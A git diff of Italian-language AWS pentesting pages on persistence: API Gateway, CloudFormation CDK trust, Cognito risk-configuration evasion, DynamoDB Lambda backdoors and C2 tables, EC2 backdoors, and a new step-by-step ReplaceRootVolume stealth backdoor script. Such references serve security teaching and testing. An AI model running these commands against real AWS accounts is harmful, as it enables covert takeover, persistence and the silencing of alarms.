 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-ec2-unauthenticated-enum.md => aws-ec2-unauthenticated-enum/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-elasticsearch-unauthenticated-enum.md => aws-elasticsearch-unauthenticated-enum/README.md} (56%)
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-iam-and-sts-unauthenticated-enum.md => aws-iam-and-sts-unauthenticated-enum/README.md} (56%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-iot-unauthenticated-enum.md => aws-iot-unauthenticated-enum/README.md} (66%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-media-unauthenticated-enum.md => aws-media-unauthenticated-enum/README.md} (70%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-rds-unauthenticated-enum.md => aws-rds-unauthenticated-enum/README.md} (57%)
 rename src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/{aws-redshift-unauthenticated-enum.md => aws-redshift-unauthenticated-enum/README.md} (54%)
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
 delete mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
 create mode 100644 src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md

diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
deleted file mode 100644
index 11ff59c0f..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Persistenza API Gateway
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Per ulteriori informazioni vai a:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Politica delle Risorse
-
-Modifica la politica delle risorse del/i gateway API per concederti accesso ad essi.
-
-### Modifica degli Autorizzatori Lambda
-
-Modifica il codice degli autorizzatori lambda per concederti accesso a tutti gli endpoint.\
-Oppure rimuovi semplicemente l'uso dell'autorizzatore.
-
-### Permessi IAM
-
-Se una risorsa utilizza un autorizzatore IAM, potresti concederti accesso modificando i permessi IAM.\
-Oppure rimuovi semplicemente l'uso dell'autorizzatore.
-
-### Chiavi API
-
-Se vengono utilizzate chiavi API, potresti leakare per mantenere la persistenza o persino crearne di nuove.\
-Oppure rimuovi semplicemente l'uso delle chiavi API.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
new file mode 100644
index 000000000..b3d458305
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md
@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Policy della risorsa
+
+Modifica la resource policy dell'API gateway(s) per concederti l'accesso.
+
+### Modifica Lambda Authorizers
+
+Modifica il codice dei lambda authorizers per concederti l'accesso a tutti gli endpoint.\
+Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
+
+### IAM Permissions
+
+Se una risorsa utilizza un IAM authorizer, potresti concederti l'accesso modificando le IAM permissions.\
+Oppure rimuovi semplicemente l'utilizzo dell'authorizer.
+
+### API Keys
+
+Se vengono usate API keys, potresti leakarle per mantenere la persistenza o anche crearne di nuove.\
+Oppure rimuovi semplicemente l'uso delle API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
deleted file mode 100644
index 652c468ae..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Per ulteriori informazioni, accedi a:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che consente a conti esterni di distribuire progetti CDK nell'account vittima. Un attaccante può abusare di questo per concedersi accesso indefinito all'account vittima, sia utilizzando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
new file mode 100644
index 000000000..fb973a52a
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md
@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Per maggiori informazioni, consulta:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+L'AWS CDK distribuisce uno stack CFN chiamato `CDKToolkit`. Questo stack supporta un parametro `TrustedAccounts` che permette ad account esterni di distribuire progetti CDK nell'account della vittima. Un attaccante può abusarne per concedersi accesso indefinito all'account della vittima, sia usando l'AWS cli per ridistribuire lo stack con parametri, sia l'AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
deleted file mode 100644
index 02591a2a5..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ /dev/null
@@ -1,40 +0,0 @@
-# AWS - Persistenza Cognito
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Per ulteriori informazioni, accedi a:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Persistenza dell'utente
-
-Cognito è un servizio che consente di assegnare ruoli a utenti non autenticati e autenticati e di controllare un directory di utenti. Diverse configurazioni possono essere modificate per mantenere una certa persistenza, come:
-
-- **Aggiungere un User Pool** controllato dall'utente a un Identity Pool
-- Dare un **ruolo IAM a un Identity Pool non autenticato e consentire il flusso di autenticazione di base**
-- O a un **Identity Pool autenticato** se l'attaccante può effettuare il login
-- O **migliorare i permessi** dei ruoli assegnati
-- **Creare, verificare e privesc** tramite utenti controllati da attributi o nuovi utenti in un **User Pool**
-- **Consentire ai fornitori di identità esterni** di effettuare il login in un User Pool o in un Identity Pool
-
-Controlla come eseguire queste azioni in
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Un attaccante con questo privilegio potrebbe modificare la configurazione del rischio per poter effettuare il login come utente Cognito **senza che vengano attivati allarmi**. [**Controlla il cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) per verificare tutte le opzioni:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-Per impostazione predefinita, questo è disabilitato:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
new file mode 100644
index 000000000..e8b1a3405
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md
@@ -0,0 +1,40 @@
+# AWS - Cognito Persistenza
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Per maggiori informazioni, accedi a:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Persistenza utente
+
+Cognito è un servizio che permette di assegnare ruoli ad utenti non autenticati e autenticati e di controllare una directory di utenti. Diversi tipi di configurazioni possono essere modificati per mantenere una persistenza, come:
+
+- **Adding a User Pool** controllato dall'utente in un Identity Pool
+- Assegnare un **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
+- O a un **authenticated Identity Pool** se l'attacker può login
+- Oppure **improve the permissions** dei ruoli assegnati
+- **Create, verify & privesc** tramite attributi di utenti controllati o nuovi utenti in un **User Pool**
+- **Allowing external Identity Providers** per permettere il login in un User Pool o in un Identity Pool
+
+Vedi come eseguire queste azioni in
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Un attacker con questo privilegio potrebbe modificare la risk configuration per poter effettuare il login come utente Cognito senza far scattare gli allarmi. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+Per impostazione predefinita, questo è disabilitato:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
deleted file mode 100644
index 65da86339..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# AWS - Persistenza DynamoDB
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-Per ulteriori informazioni accedi a:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### Trigger DynamoDB con Backdoor Lambda
-
-Utilizzando i trigger di DynamoDB, un attaccante può creare una **backdoor furtiva** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un elemento viene aggiunto, modificato o eliminato, consentendo all'attaccante di eseguire codice arbitrario all'interno dell'account AWS.
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-Per mantenere la persistenza, l'attaccante può creare o modificare elementi nella tabella DynamoDB, il che attiverà la funzione Lambda malevola. Questo consente all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la funzione Lambda.
-
-### DynamoDB come canale C2
-
-Un attaccante può utilizzare una tabella DynamoDB come un **canale di comando e controllo (C2)** creando elementi contenenti comandi e utilizzando istanze compromesse o funzioni Lambda per recuperare ed eseguire questi comandi.
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-Le istanze compromesse o le funzioni Lambda possono controllare periodicamente la tabella C2 per nuovi comandi, eseguirli e, facoltativamente, riportare i risultati nella tabella. Questo consente all'attaccante di mantenere la persistenza e il controllo sulle risorse compromesse.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
new file mode 100644
index 000000000..17c70138d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md
@@ -0,0 +1,59 @@
+# AWS - DynamoDB Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+Per ulteriori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB Triggers con Lambda Backdoor
+
+Usando i trigger di DynamoDB, un attacker può creare una **stealthy backdoor** associando una funzione Lambda malevola a una tabella. La funzione Lambda può essere attivata quando un item viene aggiunto, modificato o cancellato, permettendo all'attacker di eseguire codice arbitrario all'interno dell'account AWS.
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+Per mantenere la persistenza, l'attaccante può creare o modificare items nella tabella DynamoDB, il che attiverà la Lambda function malevola. Questo permette all'attaccante di eseguire codice all'interno dell'account AWS senza interazione diretta con la Lambda function.
+
+### DynamoDB come canale C2
+
+Un attaccante può usare una tabella DynamoDB come un **command and control (C2) channel** creando items contenenti comandi e utilizzando istanze compromesse o Lambda functions per recuperare ed eseguire questi comandi.
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+Le istanze compromesse o le Lambda functions possono periodicamente controllare la C2 table per nuovi comandi, eseguirli e, opzionalmente, riportare i risultati nuovamente nella C2 table. Questo permette all'attacker di mantenere persistence e controllo sulle risorse compromesse.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
deleted file mode 100644
index 076ea54eb..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - EC2 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Per ulteriori informazioni controlla:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Persistenza del Tracciamento delle Connessioni del Gruppo di Sicurezza
-
-Se un difensore scopre che un **EC2 instance è stata compromessa**, probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma i NACL influenzano l'intera subnet), o **cambiando il gruppo di sicurezza** per non consentire **alcun tipo di traffico in entrata o in uscita**.
-
-Se l'attaccante aveva una **reverse shell originata dalla macchina**, anche se il SG è modificato per non consentire traffico in entrata o in uscita, la **connessione non verrà interrotta a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Lifecycle Manager
-
-Questo servizio consente di **programmare** la **creazione di AMI e snapshot** e persino di **condividerli con altri account**.\
-Un attaccante potrebbe configurare la **generazione di AMI o snapshot** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il suo account**.
-
-### Istanza Programmata
-
-È possibile programmare le istanze per essere eseguite quotidianamente, settimanalmente o persino mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o accesso interessante dove potrebbe accedere.
-
-### Richiesta Spot Fleet
-
-Le istanze Spot sono **più economiche** delle istanze regolari. Un attaccante potrebbe lanciare una **piccola richiesta di spot fleet per 5 anni** (ad esempio), con **assegnazione automatica dell'IP** e un **user data** che invia all'attaccante **quando l'istanza spot inizia** e l'**indirizzo IP** e con un **ruolo IAM con privilegi elevati**.
-
-### Istanze Backdoor
-
-Un attaccante potrebbe accedere alle istanze e backdoorarle:
-
-- Utilizzando un tradizionale **rootkit** ad esempio
-- Aggiungendo una nuova **chiave SSH pubblica** (controlla [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Backdooring il **User Data**
-
-### **Configurazione di Lancio Backdoor**
-
-- Backdoor l'AMI utilizzata
-- Backdoor il User Data
-- Backdoor il Key Pair
-
-### VPN
-
-Crea una VPN in modo che l'attaccante possa connettersi direttamente attraverso di essa al VPC.
-
-### VPC Peering
-
-Crea una connessione di peering tra il VPC della vittima e il VPC dell'attaccante in modo che possa accedere al VPC della vittima.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
new file mode 100644
index 000000000..6bd41b9f0
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md
@@ -0,0 +1,62 @@
+# AWS - EC2 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Per maggiori informazioni consulta:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+Se un difensore scopre che un'**EC2 instance è stata compromessa** probabilmente cercherà di **isolare** la **rete** della macchina. Potrebbe farlo con un esplicito **Deny NACL** (ma gli NACLs interessano l'intera subnet), o **modificando il security group** in modo da non permettere **alcun traffico in ingresso o in uscita**.
+
+Se l'attaccante ha una **reverse shell originata dalla macchina**, anche se il SG viene modificato per non permettere traffico in ingresso o in uscita, la **connessione non verrà terminata a causa di** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Questo servizio permette di **pianificare** la **creazione di AMIs e snapshots** e persino di **condividerli con altri account**.\
+Un attaccante potrebbe configurare la **generazione di AMIs o snapshots** di tutte le immagini o di tutti i volumi **ogni settimana** e **condividerli con il proprio account**.
+
+### Scheduled Instances
+
+È possibile schedulare le instances per essere eseguite giornalmente, settimanalmente o anche mensilmente. Un attaccante potrebbe eseguire una macchina con privilegi elevati o con accesso interessante a cui potrebbe connettersi.
+
+### Spot Fleet Request
+
+Le spot instances sono **più economiche** delle instances regolari. Un attaccante potrebbe avviare una **small spot fleet request per 5 year** (ad esempio), con assegnazione di **automatic IP** e un **user data** che invii all'attaccante **quando la spot instance parte** l'**indirizzo IP** e con un **high privileged IAM role**.
+
+### Backdoor Instances
+
+Un attaccante potrebbe ottenere accesso alle instances e installare una backdoor:
+
+- Usando, per esempio, un **rootkit** tradizionale
+- Aggiungendo una nuova **public SSH key** (check [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Backdooring il **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Scambia il root EBS volume di un'istanza in esecuzione con uno costruito da un AMI o snapshot controllato dall'attaccante usando `CreateReplaceRootVolumeTask`. L'istanza mantiene le sue ENIs, IPs, and role, avviando efficacemente codice malevolo pur apparendo invariata.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Creare una VPN in modo che l'attaccante possa connettersi direttamente alla VPC.
+
+### VPC Peering
+
+Creare una connessione di peering tra la VPC vittima e la VPC dell'attaccante in modo che questi possa accedere alla VPC vittima.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
new file mode 100644
index 000000000..c9b9a4e92
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md
@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa di **ec2:CreateReplaceRootVolumeTask** per scambiare il volume root EBS di un'istanza in esecuzione con uno ripristinato da un AMI o snapshot controllato dall'attaccante. L'istanza viene riavviata automaticamente e riprende con il filesystem root controllato dall'attaccante mantenendo ENIs, IP privati/pubblici, volumi non-root allegati e i metadata dell'istanza/ruolo IAM.
+
+## Requisiti
+- L'istanza target è EBS-backed ed è in esecuzione nella stessa regione.
+- AMI o snapshot compatibile: stessa architettura/virtualizzazione/modalità di avvio (e codici prodotto, se presenti) dell'istanza target.
+
+## Verifiche preliminari
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## Sostituire root da AMI (preferito)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Alternativa: usare uno snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Evidenza / Verifica
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Risultato atteso: ENI_ID e PRI_IP rimangono gli stessi; l'ID del root volume cambia da $ORIG_VOL a $NEW_VOL. Il sistema si avvia con il filesystem dall'AMI/snapshot controllato dall'attaccante.
+
+## Note
+- L'API non richiede di arrestare manualmente l'istanza; EC2 orchestra un riavvio.
+- Per impostazione predefinita, il root EBS volume sostituito (vecchio) viene staccato e lasciato nell'account (DeleteReplacedRootVolume=false). Questo può essere usato per il rollback oppure deve essere eliminato per evitare costi.
+
+## Ripristino / Pulizia
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}
